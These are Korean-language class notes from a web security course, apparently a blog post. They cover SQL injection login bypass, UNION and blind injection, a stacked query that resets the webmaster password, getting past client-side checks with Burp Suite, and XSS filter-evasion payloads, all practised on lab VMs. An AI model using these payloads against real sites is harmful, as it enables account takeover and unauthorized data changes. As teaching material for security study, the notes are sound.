* 실습 파일 다운로드
ha.do/4vx (16.windows Server 2003.zip )
* 복습
* SQL 인젝션의 기본 원리
- 논리적으로 참이 되도록 해야 함 false or true = true
---> 앞부분이 패스워드일 경우, 패스워드를 몰라도 결과가 참이되도록 만드는 방법
- 주석 처리
오라클, MS-SQL은 주석으로 --을 사용
MySQL, MariaDB는 주석으로 #을 사용
HTML은 주석으로 //을 사용
- 중첩문을 사용하는 방법
앞의 SQL문과 뒤의 SQL문이 서로 다르면 ;을 사용해서 끝내고 새로운 SQL문을 작성하면 됨
SELECT문을 두개를 사용할 수 있음 ------> UNION으로 연결 (UNION의 기능은 합집합----> 같이 보여줌)
UNION을 사용할 경우, 앞의 SELECT문과 뒤의 SELECT문에서 요구하는 컬럼의 개수는 같아야 함
* MySQL, MariaDB
- DB를 운영하는 DB가 있음 ----> 스키마 : information_schema (DB의 모든 정보를 저장하는 MetaDB)
- 여러 테이블이 있음
DB에 대한 정보는 table_schema에 있음, select문에서 database()를 사용해도 됨
Table에 대한 정보는 tables라는 테이블의 table_name이라는 컬럼에 들어있음
Column에 대한 정보는 columns라는 테이블의 column_name이라는 컬럼에 들어있음
로그인 할 때의 SELECT문(예시) : select id,pw from member where id=' ' and pw=' ';
* SQL 인젝션에 사용하는 구문
' or 1=1 --
' or 2>1 --
' or 'A'<'B' --
' or 'a'='a' -- // '를 홀수개로 사용하면 짝이 맞지 않으므로 주석처리를 해주어야 함
' or 'a'='a // '를 짝수개로 사용하면 짝이 맞으므로 주석이 필요 없음
* UNION을 사용한 중첩문 SQL 공격
' union select null #
select id,pw from member where id='' union select null #' and pw=' '; // 컬럼 개수 불일치 (different number of columns)
select id,pw from member where id='' union select null,null #' and pw=' '; // 컬럼 개수 일치
------> DB정보, Table이름, Column이름 등을 모두 알아내서 새로운 SQL문을 만들 수 있음
웹브라우저 주소창에
윈도우 탐색기 주소창에 (윈도우 파일 폴더 공유 : SMB)
* SQL인젝션 : SQL문이 참이 되도록 만들어서 SQL문이 실행되도록 하는 것이 목적
* Blind SQL인젝션 : Target DB에 대한 정보가 없는 상태에서 SQL문을 거짓이 되도록 만들면 오류메시지 또는 다른 반응을 토대로 DB에 대한 정보를 알아내는 것 ----> DB이름, Table이름, Column이름 등을 알아냄 ---> 새로운 SELECT문을 만듦
Quiz) 소개팅을 영어로 하면? blind date
* 표준 문서 체계
1) SGML (Standard Generalized Markup Language)
- 미국방부에서 제공하는 문서 형식으로 만들라고 제시함 (형식 : SGML)
- 작성하기가 까다로와서 문서 작성하는 담당자가 따로 있어야 함 (복잡, 어려움)
2) HTML
- Sir.팀버너스리가 SGML을 단순화해서 만든 것이 HTML
- 이미지, Text, Hypertext 등을 표시 (너무 단순)
3) XML
- "내용과 형식을 분리" -----> 변경 내용이 있을 때는 내용만 바꾸면 됨 (형식은 기존의 것을 그대로 사용)
- 보편적으로 많이 사용 ppt ---> pptx, doc ---> docx, xls ---> xlsx, hwp ---> hwp (~형식, ~형식)
(뒤에 붙은 x는 xml의 x임, File Signature는 PK로 변경됨 : 50 4B)
* HTTP 에러
- 400번대 에러 : 클라이언트의 요청이 잘 못된 경우
401 : Unauthorized -----> 로그인에 실패해서
403 : Forbidden ----> 접근하면 안되는 페이지 또는 사이트
404 : Not Found
- 500번대 에러 : 서버쪽에서 잘못한 경우
500 : Internal Server error
503 : Service Unavailable ------> 사용자가 폭주하거나 DDoS공격을 받을 때
16.Windows 2003 Server.zip 파일 압축을 푸세요~
실습) 블로그에 있는 사진은 오른쪽 마우스 클릭이 제한되어 있습니다. 어떻게 하면 저장할 수 있을까요?
Quiz) 인스타그램에 사진을 올리면 사진의 주인(법적으로 소유 권한)은 누구인가요?
1) 사진 올린 사람
2) 인스타그램
-----> 회원가입 약관에 인스타그램이 모든 법적 소유권을 갖는다고 함
실습)
- VMware에서 File > Open > 2003 압축 푼 폴더에서 확장자가 vmx인 파일을 선택하고 열기
- Play Virtual Machine 클릭 (부팅), I copied it
- 로그인 : administrator / hp12345
- IP 변경
시작 > 제어판 > 네트워크 연결 > 로컬 영역 연결 > 속성 > 인터넷 프로토콜(TCP/IP)를 선택하고 속성 클릭
----> 자동으로 IP주소 받기, 자동으로 DNS 서버 주소 받기 선택 ----> 확인
확인하는 방법 cmd> ipconfig (192.168.5.X로 나와야 함)
- Windows10(host)에서 internet explorer를 켜고 주소창에 Win2003의 IP주소를 입력
* 어나니머스 이미지가 보이는 경우, index.jsp의 body태그의 아래줄을 삭제하고 저장합니다.
<div style="position:absolute; left=0; top=0; Z-index=2;"><img src=anon.png></div>
* Internet Explorer에서 호환성 보기 설정
설정 > 호환성 보기 설정 > 추가 > 닫기
* Login Bypass
- 패스워드를 모르지만 로그인하는 방법 : SQL 인젝션
select id,pw from ??? where id=' ' and pw=' ';
실습) webmaster 또는 아무 계정으로 로그인 하려면?
1) ID부분에 넣는 방법
select id,pw from ??? where id='' or 1=1 --' and pw=' ';
2) PW부분에 넣는 방법
select id,pw from ??? where id='webmaster' and pw='' or 1=1 --'; // webmaster라는 것은 게시판에서 확인
select id,pw from ??? where id='webmaster' and pw='' or 'a'='a';
-----> superman님 어서오세요???
3) Webmaster라는 계정으로 로그인 하려면?
select id,pw from ??? where id='webmaster' or 1=1 --' and pw=' '; // True or True는 어차피 참이므로 사족(蛇足:불필요)
select id,pw from ??? where id='webmaster' --' and pw=' '; // webmaster로 로그인 가능
* 첫번째 페이지가 아닌 다른 페이지에서 인젝션 코드를 넣으면 '아이디에 허용할 수 없는 문자가 입력되었습니다.'라고 나옴
어떻게 하면 특수문자를 넣어서 인젝션을 할 수 있을까요?
* Burp Suite 다운로드
https://portswigger.net/burp ( 또는 구글에서 'burp suite'입력)
Products 메뉴에서 community edition(무료) 선택
Go Straights to downloads
Download 클릭 (접속한 컴퓨터에 맞는 버전이 선택되어 있음, Windows10이면 64bit)
Sweet room(X), Suite room(O) : suite는 여러개가 붙어있다는 뜻 : 방+거실+서재+부엌+베란다+화장실 등등
* Burp Suite의 용도
- 로컬 프록시(Local Proxy) : 클라이언트의 컴퓨터에 설치한 Proxy ----> 클라이언트의 요청을 조작할 수 있음
- 이외에도 많은 기능이 있음(suite)
- 조작이 편리, 다른 기능이 있고 등등
참고) 로컬 프록시의 종류 : Paros, Fiddler2, Charley, Achilles 등등
function login_ok()
{
var Alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
var Digit = '1234567890';
// ID,Password check - 알파벳과 숫자의 조합으로, 4자에서 12자까지 가능
if (Tcheck(loginform.userid, '아이디', Alpha + Digit, 4, 12)) return;
if (Tcheck(loginform.passwd, '비밀번호', Alpha + Digit, 4, 12)) return;
if(Tvalue(loginform.passwd,4,'비밀번호를 ')) return;
loginform.action="login_proc.jsp";
loginform.submit();
return false;
}
* 스크립트는 클라이언트에서만 동작을 하기 때문에 클라이언트를 벗어난 패킷을 조작하면 특수문자를 넣을 수 있음
----> Proxy를 이용해서 특수문자를 추가
----> 클라이언트에서 보안을 적용하는 것은 잘못된 것이다. = "고양이에게 생선을 맡기는 것"
* DOR : Direct Object Reference (직접 객체 참조)
---> 다운로드를 받지 못하게 하는 이미지를 직접 접근해서 다운로드 받는 것
참고) Proxy를 계속 켜 놓으면, 구글, 네이버 등 접속 안됨 ----> 평소에는 프락시 해제 하고 사용해야 편리함
* Blind SQL 인젝션
- DB에 대한 정보가 거의 없는 상태에서 에러를 유발시켜서 DB에 대한 정보를 알아내는 것
- 대표적인 구문: ' having 1=1 --
-----> 원래 having문은 앞에 group by가 있어야 함 ex) select ~~~~ from ~~~ group by ~~~ having ~~~ ;
select id,pw from ?? where id='' having 1=1 --' and pw=' '; // 에러 발생
* webmaster 패스워드 변경하기
'; update tbl_member set passwd='1234' where userid='webmaster'; --
* Escape란?
- 특수문자가 기능을 하지 못하고 단지 문자열로서만 저장되도록 하는 기법
ex) 2 \+ 3 \=
- 특수문자 앞에 \를 붙임 ----> 사람이 할 수 없으므로, 함수를 사용해서 자동으로 붙여지도록 함
- mysqli_real_escape_string( )는 아래 특수문자를 보면 \를 추가함
NUL (ASCII 0), \n, \r, \, ', ", and Control-Z 를 보면 앞에 \를 추가 ----> Escape가 됨
* 줄바꿈
- \n (Line Feed, 한줄 내림) : 0a
- \r (carriage Return, 커서를 왼쪽으로 이동) : 0d
----> 윈도우에서는 엔터를 치면 \r\n동작, UNIX에서는 \n만 동작함 (OLD UNIX/LINUX에서 작성한 문서는 윈도우에서 줄바꿈 안됨)
* Secure Coding은 Escape처리 함수 및 다양한 보안을 코드로 작성하는 방법
----> 처음 설계시 부터 보안을 고려해야 함 (보안이 고려된 설계)
* GDPR (General Data Protection Regulation) : EU의 개인정보 보호 규정 (법은 아니지만 강제성이 있고 법을 변경해야 함)
----> 벌금이 천문학적 (타겟: TGIFA 등 미국의 SNS 등을 노림)
- Cookie를 개인정보로 규정
* Chrome 또는 Brave에서 web store를 방문
cookie-editor (남색바탕)을 검색하여 설치하고, 상단에 고정합니다.
---> 설치하면 쿠키값을 보거나 조작 가능
* XSS (Cross Site Scripting)
- 스크립트를 활용하는 공격
- 서버에 스크립트를 업로드 해서 클라이언트가 방문하면 스크립트가 동작하면서 악의적인 행위를 하는 것
- 초기에는 쿠키 훔치기를 했으나 최근에는 랜섬웨어 다운로드를 유도함
실습) VMware에서 Metasploitable2를 실행합니다.
* XSS Reflected
- 스크립트를 넣어서 실행하는 것이 목적
<script>alert('I want to be rich')</script> // 크롬에서는 스크립트가 차단되므로 Edge, Explorer등을 이용하세요.
1) Low
- 그냥 실행됨
2) Medium
hint) 오른쪽 아래에 있는 View Source를 참고하세요~
str_replace( )함수가 <script>를 Null로 치환하고 있음.
<SCRIPT>alert('I want to be rich')</script> // 대문자로 변경
<Script>alert('I want to be rich')</script>
<ScRiPt>alert('I want to be rich')</script>
<scr<script>ipt>alert('I want to be rich')</script> // 중첩시키기
<script img=x>alert('I want to be rich')</script> // 속성을 하나 추가
<script >alert('I want to be rich')</script> // 공백을 추가
------> 다양한 방법으로 우회 가능하기 때문에 치환 방식은 적절한 대응방법이라고 볼 수 없음 (Blacklist 방식은 우회 가능성이 높음)
* 차단 방법
- Blacklist : 안되는 것을 지정하는 방법
- Whitelist : 되는 것을 지정하는 방법 ex) 방화벽
'등등 > 웹 보안' 카테고리의 다른 글
웹 보안 - 5일차 (0) | 2022.05.12 |
---|---|
웹 보안 - 1일차 (0) | 2022.05.04 |